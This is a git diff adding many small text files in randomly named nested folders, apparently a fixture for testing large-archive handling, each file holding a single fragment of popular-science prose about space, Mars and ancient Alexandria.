diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/file_kfinbwdnsta.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/file_kfinbwdnsta.txt
new file mode 100644
index 0000000..84516ae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/file_kfinbwdnsta.txt
@@ -0,0 +1 @@
+This is the time when humans have begun to sail the sea of space. The modern ships that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/file_kidqgerqzcuaokesgyaeida.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/file_kidqgerqzcuaokesgyaeida.txt
new file mode 100644
index 0000000..84516ae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/file_kidqgerqzcuaokesgyaeida.txt
@@ -0,0 +1 @@
+This is the time when humans have begun to sail the sea of space. The modern ships that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/file_nonerzrtoxf.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/file_nonerzrtoxf.txt
new file mode 100644
index 0000000..84516ae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/file_nonerzrtoxf.txt
@@ -0,0 +1 @@
+This is the time when humans have begun to sail the sea of space. The modern ships that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/file_olgmoytkehzg.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/file_olgmoytkehzg.txt
new file mode 100644
index 0000000..84516ae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/file_olgmoytkehzg.txt
@@ -0,0 +1 @@
+This is the time when humans have begun to sail the sea of space. The modern ships that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/file_pirlifvd.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/file_pirlifvd.txt
new file mode 100644
index 0000000..84516ae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/file_pirlifvd.txt
@@ -0,0 +1 @@
+This is the time when humans have begun to sail the sea of space. The modern ships that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/file_pwwtwlucfspcwklvvigjqxa.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/file_pwwtwlucfspcwklvvigjqxa.txt
new file mode 100644
index 0000000..84516ae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/file_pwwtwlucfspcwklvvigjqxa.txt
@@ -0,0 +1 @@
+This is the time when humans have begun to sail the sea of space. The modern ships that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/file_rgflwtbnhiubpplqwodb.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/file_rgflwtbnhiubpplqwodb.txt
new file mode 100644
index 0000000..84516ae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/file_rgflwtbnhiubpplqwodb.txt
@@ -0,0 +1 @@
+This is the time when humans have begun to sail the sea of space. The modern ships that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/file_rvcpbrjcfsvvtsdnzfchn.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/file_rvcpbrjcfsvvtsdnzfchn.txt
new file mode 100644
index 0000000..84516ae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/file_rvcpbrjcfsvvtsdnzfchn.txt
@@ -0,0 +1 @@
+This is the time when humans have begun to sail the sea of space. The modern ships that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/file_skimmtahrbwhmqfvwoet.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/file_skimmtahrbwhmqfvwoet.txt
new file mode 100644
index 0000000..84516ae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/file_skimmtahrbwhmqfvwoet.txt
@@ -0,0 +1 @@
+This is the time when humans have begun to sail the sea of space. The modern ships that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/file_thkaxyidnceoupeetotorn.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/file_thkaxyidnceoupeetotorn.txt
new file mode 100644
index 0000000..84516ae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/file_thkaxyidnceoupeetotorn.txt
@@ -0,0 +1 @@
+This is the time when humans have begun to sail the sea of space. The modern ships that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/file_ykijiywyykf.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/file_ykijiywyykf.txt
new file mode 100644
index 0000000..84516ae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/file_ykijiywyykf.txt
@@ -0,0 +1 @@
+This is the time when humans have begun to sail the sea of space. The modern ships that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_aeehovkllduqnoureuqjjotc.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_aeehovkllduqnoureuqjjotc.txt
new file mode 100644
index 0000000..4519ce8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_aeehovkllduqnoureuqjjotc.txt
@@ -0,0 +1 @@
+star may be a sun to someone. Within a galaxy are stars and worlds and, it may be, a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_fipszctfcd.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_fipszctfcd.txt
new file mode 100644
index 0000000..4519ce8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_fipszctfcd.txt
@@ -0,0 +1 @@
+star may be a sun to someone. Within a galaxy are stars and worlds and, it may be, a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_gmeqibnopzujdyxfbwa.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_gmeqibnopzujdyxfbwa.txt
new file mode 100644
index 0000000..4519ce8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_gmeqibnopzujdyxfbwa.txt
@@ -0,0 +1 @@
+star may be a sun to someone. Within a galaxy are stars and worlds and, it may be, a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_injnddzwmzamtx.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_injnddzwmzamtx.txt
new file mode 100644
index 0000000..4519ce8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_injnddzwmzamtx.txt
@@ -0,0 +1 @@
+star may be a sun to someone. Within a galaxy are stars and worlds and, it may be, a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_knpkkghlog.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_knpkkghlog.txt
new file mode 100644
index 0000000..4519ce8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_knpkkghlog.txt
@@ -0,0 +1 @@
+star may be a sun to someone. Within a galaxy are stars and worlds and, it may be, a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_llvpqfuarbvydgunzjdiz.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_llvpqfuarbvydgunzjdiz.txt
new file mode 100644
index 0000000..4519ce8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_llvpqfuarbvydgunzjdiz.txt
@@ -0,0 +1 @@
+star may be a sun to someone. Within a galaxy are stars and worlds and, it may be, a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_metrokwufhumdhuzwac.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_metrokwufhumdhuzwac.txt
new file mode 100644
index 0000000..4519ce8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_metrokwufhumdhuzwac.txt
@@ -0,0 +1 @@
+star may be a sun to someone. Within a galaxy are stars and worlds and, it may be, a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_mktbovyfgcfksvkhulfddnhs.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_mktbovyfgcfksvkhulfddnhs.txt
new file mode 100644
index 0000000..4519ce8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_mktbovyfgcfksvkhulfddnhs.txt
@@ -0,0 +1 @@
+star may be a sun to someone. Within a galaxy are stars and worlds and, it may be, a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_ridltbnuiplndza.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_ridltbnuiplndza.txt
new file mode 100644
index 0000000..4519ce8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_ridltbnuiplndza.txt
@@ -0,0 +1 @@
+star may be a sun to someone. Within a galaxy are stars and worlds and, it may be, a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_uiaumbuvqrudhxssmj.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_uiaumbuvqrudhxssmj.txt
new file mode 100644
index 0000000..4519ce8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_uiaumbuvqrudhxssmj.txt
@@ -0,0 +1 @@
+star may be a sun to someone. Within a galaxy are stars and worlds and, it may be, a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_xmcdonnzvzy.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_xmcdonnzvzy.txt
new file mode 100644
index 0000000..4519ce8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_xmcdonnzvzy.txt
@@ -0,0 +1 @@
+star may be a sun to someone. Within a galaxy are stars and worlds and, it may be, a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_yckrriwoxxyxr.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_yckrriwoxxyxr.txt
new file mode 100644
index 0000000..4519ce8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_yckrriwoxxyxr.txt
@@ -0,0 +1 @@
+star may be a sun to someone. Within a galaxy are stars and worlds and, it may be, a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_zmmfydcz.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_zmmfydcz.txt
new file mode 100644
index 0000000..4519ce8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/file_zmmfydcz.txt
@@ -0,0 +1 @@
+star may be a sun to someone. Within a galaxy are stars and worlds and, it may be, a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_cinuzytuuaxxqsb.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_cinuzytuuaxxqsb.txt
new file mode 100644
index 0000000..9f00b8c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_cinuzytuuaxxqsb.txt
@@ -0,0 +1 @@
+temporizing. If we wish courageously to pursue the question, we must, of course ask next
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_dqgyctoq.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_dqgyctoq.txt
new file mode 100644
index 0000000..9f00b8c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_dqgyctoq.txt
@@ -0,0 +1 @@
+temporizing. If we wish courageously to pursue the question, we must, of course ask next
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_epxflrpgojpiqqnpnnd.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_epxflrpgojpiqqnpnnd.txt
new file mode 100644
index 0000000..9f00b8c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_epxflrpgojpiqqnpnnd.txt
@@ -0,0 +1 @@
+temporizing. If we wish courageously to pursue the question, we must, of course ask next
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_fbsinkkvmfql.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_fbsinkkvmfql.txt
new file mode 100644
index 0000000..9f00b8c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_fbsinkkvmfql.txt
@@ -0,0 +1 @@
+temporizing. If we wish courageously to pursue the question, we must, of course ask next
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_fxwipbokjdszd.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_fxwipbokjdszd.txt
new file mode 100644
index 0000000..9f00b8c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_fxwipbokjdszd.txt
@@ -0,0 +1 @@
+temporizing. If we wish courageously to pursue the question, we must, of course ask next
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_gudimlkexnkkrhgxac.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_gudimlkexnkkrhgxac.txt
new file mode 100644
index 0000000..9f00b8c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_gudimlkexnkkrhgxac.txt
@@ -0,0 +1 @@
+temporizing. If we wish courageously to pursue the question, we must, of course ask next
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_hkbcrohim.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_hkbcrohim.txt
new file mode 100644
index 0000000..9f00b8c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_hkbcrohim.txt
@@ -0,0 +1 @@
+temporizing. If we wish courageously to pursue the question, we must, of course ask next
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_kbbiumlcl.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_kbbiumlcl.txt
new file mode 100644
index 0000000..9f00b8c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_kbbiumlcl.txt
@@ -0,0 +1 @@
+temporizing. If we wish courageously to pursue the question, we must, of course ask next
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_lxxavhlwgltmppzlepis.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_lxxavhlwgltmppzlepis.txt
new file mode 100644
index 0000000..9f00b8c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_lxxavhlwgltmppzlepis.txt
@@ -0,0 +1 @@
+temporizing. If we wish courageously to pursue the question, we must, of course ask next
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_lybufqmvxklaxpenrrpy.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_lybufqmvxklaxpenrrpy.txt
new file mode 100644
index 0000000..9f00b8c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_lybufqmvxklaxpenrrpy.txt
@@ -0,0 +1 @@
+temporizing. If we wish courageously to pursue the question, we must, of course ask next
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_matsxxjbblhaprqmrhme.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_matsxxjbblhaprqmrhme.txt
new file mode 100644
index 0000000..9f00b8c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_matsxxjbblhaprqmrhme.txt
@@ -0,0 +1 @@
+temporizing. If we wish courageously to pursue the question, we must, of course ask next
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_otelpthztdy.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_otelpthztdy.txt
new file mode 100644
index 0000000..9f00b8c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_otelpthztdy.txt
@@ -0,0 +1 @@
+temporizing. If we wish courageously to pursue the question, we must, of course ask next
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_rgblkkxlfsifrng.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_rgblkkxlfsifrng.txt
new file mode 100644
index 0000000..9f00b8c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_rgblkkxlfsifrng.txt
@@ -0,0 +1 @@
+temporizing. If we wish courageously to pursue the question, we must, of course ask next
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_rgerhiiuglo.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_rgerhiiuglo.txt
new file mode 100644
index 0000000..9f00b8c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_rgerhiiuglo.txt
@@ -0,0 +1 @@
+temporizing. If we wish courageously to pursue the question, we must, of course ask next
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_rzcsqzfgajdlngrbkzduqfqy.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_rzcsqzfgajdlngrbkzduqfqy.txt
new file mode 100644
index 0000000..9f00b8c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_rzcsqzfgajdlngrbkzduqfqy.txt
@@ -0,0 +1 @@
+temporizing. If we wish courageously to pursue the question, we must, of course ask next
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_smyubohrppklct.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_smyubohrppklct.txt
new file mode 100644
index 0000000..9f00b8c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_smyubohrppklct.txt
@@ -0,0 +1 @@
+temporizing. If we wish courageously to pursue the question, we must, of course ask next
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_ulnpubersvaxp.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_ulnpubersvaxp.txt
new file mode 100644
index 0000000..9f00b8c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_ulnpubersvaxp.txt
@@ -0,0 +1 @@
+temporizing. If we wish courageously to pursue the question, we must, of course ask next
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_uvmhbhmikxybqepvxub.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_uvmhbhmikxybqepvxub.txt
new file mode 100644
index 0000000..9f00b8c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_uvmhbhmikxybqepvxub.txt
@@ -0,0 +1 @@
+temporizing. If we wish courageously to pursue the question, we must, of course ask next
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_vauxbtuacnkv.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_vauxbtuacnkv.txt
new file mode 100644
index 0000000..9f00b8c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_vauxbtuacnkv.txt
@@ -0,0 +1 @@
+temporizing. If we wish courageously to pursue the question, we must, of course ask next
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_xdwircynmsrwxurnkincn.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_xdwircynmsrwxurnkincn.txt
new file mode 100644
index 0000000..9f00b8c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_xdwircynmsrwxurnkincn.txt
@@ -0,0 +1 @@
+temporizing. If we wish courageously to pursue the question, we must, of course ask next
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_xlsistkdvpddstxwdylj.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_xlsistkdvpddstxwdylj.txt
new file mode 100644
index 0000000..9f00b8c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_xlsistkdvpddstxwdylj.txt
@@ -0,0 +1 @@
+temporizing. If we wish courageously to pursue the question, we must, of course ask next
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_yqiqbotftfsgdelfsxsb.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_yqiqbotftfsgdelfsxsb.txt
new file mode 100644
index 0000000..9f00b8c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_yqiqbotftfsgdelfsxsb.txt
@@ -0,0 +1 @@
+temporizing. If we wish courageously to pursue the question, we must, of course ask next
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_yxjynkcx.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_yxjynkcx.txt
new file mode 100644
index 0000000..9f00b8c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/file_yxjynkcx.txt
@@ -0,0 +1 @@
+temporizing. If we wish courageously to pursue the question, we must, of course ask next
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/ahrfdcqnpcxmuwyvdoxurl.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/ahrfdcqnpcxmuwyvdoxurl.txt
new file mode 100644
index 0000000..5d94a4d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/ahrfdcqnpcxmuwyvdoxurl.txt
@@ -0,0 +1 @@
+simultaneity, avoids privileged reference frames and still permits travel faster than light.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/cispfshxnncuajzldzwy.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/cispfshxnncuajzldzwy.txt
new file mode 100644
index 0000000..6910890
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/cispfshxnncuajzldzwy.txt
@@ -0,0 +1 @@
+the nagging suspicion that some essential feature of the Martian canal problem still remains
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/cwijhndb.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/cwijhndb.txt
new file mode 100644
index 0000000..ff530e3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/cwijhndb.txt
@@ -0,0 +1 @@
+customary to answer that God created the universe out of nothing. But this is mere
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/faumgyxt.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/faumgyxt.txt
new file mode 100644
index 0000000..63e09df
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/faumgyxt.txt
@@ -0,0 +1 @@
+molecular job: Step 4 in the construction of the nucleotide guanosine phosphate, say, or
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_bfqxnbkgxf.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_bfqxnbkgxf.txt
new file mode 100644
index 0000000..3383b28
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_bfqxnbkgxf.txt
@@ -0,0 +1 @@
+And yet just a stone’s throw from the remains of the Serapaeum are reminders of many
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_ccssnndlsgodwbnzdizyn.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_ccssnndlsgodwbnzdizyn.txt
new file mode 100644
index 0000000..3383b28
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_ccssnndlsgodwbnzdizyn.txt
@@ -0,0 +1 @@
+And yet just a stone’s throw from the remains of the Serapaeum are reminders of many
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_cphcwwvzygr.txt b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_cphcwwvzygr.txt
new file mode 100644
index 0000000..3383b28
--- /dev/null
+++ b/big_zip/big-zip-files/folder_dutlqpbtbe/folder_aiydagbnyl/folder_ibuzfarfei/folder_iuiwyfjfdc/file_cphcwwvzygr.txt
@@ -0,0 +1 @@
+And yet just a stone’s throw from the remains of the Serapaeum are reminders of many
\ No newline at end of file
